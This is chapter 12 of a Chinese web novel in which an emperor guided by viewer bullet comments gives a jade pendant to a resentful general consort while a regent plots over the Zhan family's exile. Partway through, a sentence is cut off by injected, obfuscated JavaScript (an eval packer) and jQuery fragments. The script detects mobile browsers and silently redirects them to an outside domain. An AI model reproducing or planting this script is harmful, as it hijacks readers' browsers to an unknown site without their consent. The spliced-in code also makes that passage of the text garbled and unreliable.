12.绝不辜负将军期盼

作品:《朕靠弹幕斗叛臣[帝受]

    赵承璟还在等四喜回来传消息,结果战家的消息没等到,却等到了内务府的消息,说云侍君把皇上御赐的东西都给扔了。


    “……”


    赵承璟片刻无语,不知道又怎么得罪了这位将军,弹幕除了“哈哈哈”也没什么有用的信息,他只好立刻去了重华宫,他才到宫门口,就听见里面鸡飞狗跳的声音。


    “你区区一个陪嫁侍从,凭什么敢对我们动粗?他日你们云侍君不得宠了,有你们好果子吃!”


    “我们将军说扔了就是扔了,既然是小皇帝赏给我们家将军的东西,我们家将军想怎么处置就怎么处置!”


    “你你你……毁坏御赐之物是要掉脑袋的!你跟你们云侍君几个脑袋都不够掉!”


    赵承璟只觉一阵头痛,连忙进了院。


    一个身材高壮的男子正气势汹汹地站在庭院中央,内务府的太监们则像小鸡崽似的抱团在另一边,只有一领头的太监站得稍稍靠前,也已经气得脸色通红。


    太监们见到他,立刻跪下行礼。庭院中间的男人跟着单膝下跪,“属下乃将……云侍君的陪嫁侍从穆远,叩见皇上。”


    “起来吧。”


    赵承璟没在意他们双方的无力,直接大步进了屋,四喜跟在他身旁低声道,“云侍君见到皇上赐的东西就很不高兴,不等奴才们进屋便让穆远侍卫把大伙轰了出来,东西也扔到了院子里。”


    赵承璟点了下头。


    “还有就是……奴才到库房没找到狐白裘,内务府总管太监也在打马虎眼,好像是被贵妃娘娘拿走了。”


    赵承璟步子一顿,随即轻叹一声,没说什么。


    他一进屋就看见战云烈坐在桌前看书,手边的茶杯清澈见底,他顺手揭开壶盖里面连一根茶叶梗都没有。


    “又怎么惹你不高兴了?”


    战云烈翻书的动作一停,慢悠悠地抬起头,“原来是皇上来了,臣看书看得入迷,都没注意到。”


    赵承璟见他阴阳怪气,看来三言两语说不清楚,便叫其他人都退下关上门,这才坐下来低声道,“朕让人送这些东西过来,一来是为了感谢你帮朕办事,二来也是你初入宫,宫内空落,帮你置办些吃的用的。是奴才们哪做的不好,还是这些东西哪里不合将军的心意,惹恼了将军?”


    战云烈不语,他倒是没想到赵承璟竟能这般隐忍,还能与自己好言好语。


    他轻笑一声,“战家的事臣自当出力,皇上无需赏赐这些东西。皇家手笔阔绰,臣无福消受,且臣一介武夫,也并不喜欢什么龙园胜雪,什么玉莲坐佛。皇上还是留着赏给其他妃子,或者赏给奴才让他们多为你卖些命更好。”


    龙园胜雪、玉佛,这些都是战云轩喜欢的东西,他向来嗤之以鼻。


    上战场应当喝酒,浴血之人还戴佛像,岂不可笑?


    他既已得见天日,便不想再活在战云轩的阴影之中。本就不高兴的他再听见黄金百两后,便更是觉得火气蹭蹭地往头顶窜。


    他自幼在岭南长大,见得都是百姓食不果腹,卖儿卖女逼上贼山。在军中,听到得都是国库如何吃紧,将士们的铠甲拼拼补补,冒死清理战场捡敌方的刀刃箭矢用。当年南诏一战,若非大兴穷得连粮草都供给不上,他们何至攻到都城脚下又半路撤军?


    他倒真以为大兴穷得揭不开锅了,何曾想进了宫竟是另一番景象!


    赵承璟眼前全是「他吃醋了」的弹幕,他看不太懂,但弹幕中的「快哄他」几个字他倒是看得懂。


    他仔细思索一番,才温声细语地道,“你若不喜欢那些东西,朕便让内务府换一些你喜欢的过来。你初入宫,朕对你的喜好尚不清楚,你可以说给朕听。”


    但赵承璟越是这么好言好语,战云烈便越是揪着不放,“您是皇上,没必要了解臣子喜好,您日理万机,也不必浪费时间听臣讲这些。您与臣只是各取所需,无需用这些来联络感情。”


    赵承璟叹息一声,短短两天的相处,对方的表现简直颠覆了他对战云轩的认知。但思来,自己招其入宫,绝了他的仕途,坏了他的名声,本就有错在先,如战云轩这般天之骄子,会对自己如此抵触也十分正常。


    “朕知道朕让你受了很多委屈,朕现在的势力也无法弥补你什么,但朕对你绝无利用之心,朕做这些也只是希望挽回一个曾经忠心耿耿的臣子的心。至于那些黄金,将军若不收也只会被舅舅挪来他用,国库皆由舅舅掌管,朕也无法插手,唯有此法可为将军留些资金。”


    战云烈听出赵承璟并非挥霍无度之人,也实属无奈之举才面色稍霁,只是仍旧不发一言。


    赵承璟见他脸色好些,又从怀中摸出那块二龙戏珠的玉佩塞进战云烈的手里,又握紧。


    “这块玉佩给你,以表朕对你的真心绝无半分掺假,天地可鉴,我赵承璟此生只要还有一口气在,就绝不会辜负你的期待。”


    赵承璟说完这句话就看见眼前的弹幕骤然增多,跟被一阵风推着似的,迅速滑动,全部都是差不多的内容。


    「啊啊啊!这是告白吗?姐妹们我先磕了!」


    「嗑嗑嗑!我是璟烈的CP粉!」


    「小将军绝对被打动了!他的眼神都不一样了啊啊啊!我要站烈璟!」


    不懂的词汇太多了,这些观众到底在兴奋什么?他现在能力有限,也不知这一次是否能改写命运,但只要一天没被宇文靖宸扳倒,他就不会辜负臣子对他的期盼,这些不过是他肺腑之言罢了。


    但赵承璟确实看到对方的目光变得十分深邃,那总是明亮中透着些狡黠的眸子此时却如深沉的大海,带着翻涌的巨浪,目不转睛地看着自己。


    半响,战云烈忽然起身,将玉佩丢到他怀里,转身走向床榻,“皇上既不了解臣,又赠与此等大礼,不觉得太过草率吗?臣累了,皇上自便吧。”


    “……”


    「加把劲!趁热打铁啊!」


    「快快快!他这是害羞了!」


    赵承璟想了想,走到床边,对方背对着自己,看不清神情,只能看到他乌黑的发丝。


    他俯下身轻声道,“我确实不了解将军私下的性情,但却知将军忠肝义胆,赫赫威名,是大兴将士们最信任的人。我愿意相信大兴的将士们,也愿意如大兴的子民一般,将自己的性命交到将军手上。”


    说完他轻轻地撩起战云烈的发丝,将玉佩塞到了他的枕头下面。


    “云侍君既然乏了,便好好歇息吧。”


    战云烈听到门推开又合上的声音,屋外又是一阵行礼的声音,然后一群人气势浩荡地离开了。他翻身坐起来,从枕头下面摸出那块玉佩。


    他自然知道这是什么,他便是凭此玉佩将战云轩从天牢中放跑的,赵承璟将此物交于他,便仿佛将那普天之下独一无二的权力也交到了他手上。


    他的手不觉攥紧了,半响似是想起什么,才轻轻地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558274|171249||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    松开手。


    这玉佩尽是镂空的设计,看上去十分不结实,好像他稍一用些力便会被捏碎。


    和它的主人一样。


    “不过是皇家的制衡把戏罢了。”他轻声呢喃,将玉佩丢进了抽屉里。


    *


    宇文府。


    宇文靖宸正在批改奏折,自他监国以来,这些奏章便都是先送到他手里,再由他挑出几本不轻不重的送到赵承璟那意思意思。


    下人忽然来报,“首辅大人,赖桓将军求见。”


    宇文靖宸眉头一紧,这个赖桓今日三番五次往他这跑,无外乎是为了战家流放一事,自己已多次警告,对方却好像听不懂似的。如今已然勒令他回西北,他却还惦记这事。


    “不见。”


    宇文靖宸话音刚落,一道粗犷的笑声便从门外传来。


    “哈哈哈!宇文老兄!”赖桓大步流星地走进来,“这么晚了还在忙什么?我老赖来找你喝两杯!”


    宇文靖宸心中厌烦无比,面上却丝毫未显露,“我倒是愿意与赖兄痛饮几杯,只可惜今日政务繁忙,不能奉陪了。”


    赖桓一屁股坐在他对面的垫子上,还大刺刺地瞥了眼他桌上打开的奏折。


    “宇文老兄居然这般忙碌,这些大臣上奏为甚?是不是也是为了战家流放的事?”


    宇文靖宸微笑道,“战家流放这种事岂能是寻常人可以过问插手的?”


    “我说也是。”赖桓丝毫不觉,还给宇文靖宸斟了杯酒,“这战康平可不简单,把他放到别处,您哪能放心?还是流放到我们西北来吧,我老赖替你看着!只要宇文兄你一声令下,我立刻让战康平人头落地!”


    宇文靖宸眯起眸子打量他,“赖兄远在西北,人头究竟有没有落地,也只有赖兄你知道。”


    “这是什么话?宇文兄要是不放心,大不了我叫人提头来见!”


    宇文靖宸稍稍放心了些,这些时日他一直在想,将战康平流放到西北固然有风险,但眼下赖桓却是可以信赖之人,且赖桓和他那个儿子赖成毅胸无城府,便是真为了兵权偷偷藏下了战康平也不可能滴水不漏,让自己无知无觉。


    既然如此或许也没必要冒险将战康平送往别处。


    “只是不知……”赖桓一脸赔笑,“战康平流放,战云轩入宫,这战家军该如何处置?”


    宇文靖宸面色一凛,目光也霎时冰冷下来,“战家军是无辜的,怕是不会受到牵连。姑且收回兵部,削去番名,打乱重编。赖兄有何高见?”


    赖桓嘿嘿笑着,“我能有什么高见,只是觉得兵部毕竟不是我们的人。那兵部尚书还是战康平的门生,定是向着战家军的,怕是将来会对我们不利啊。”


    宇文靖宸冷笑道,“无主之将,何惧之有?”


    就在此时,又有人来报,“大人,接到线报。战家军的几个主将当街劫刑车,已被大理寺官兵擒住了!”


    宇文靖宸立刻起身,面容严峻。


    赖桓也跟着道,“呀呀,这战家军疯了不成?连大理寺的刑车都敢劫!这是图什么?”


    当然是图和战康平一起流放了!若是真连战家军都跟着一起被判了流刑,那他就要真要好好考虑一下战康平的去处了。此事到底是林柏乔那个老东西干的还是……


    宇文靖宸冷冷地回头瞥了赖桓一眼。


    赖桓一愣,闭上了嘴。


    跟他有什么关系?莫名其妙!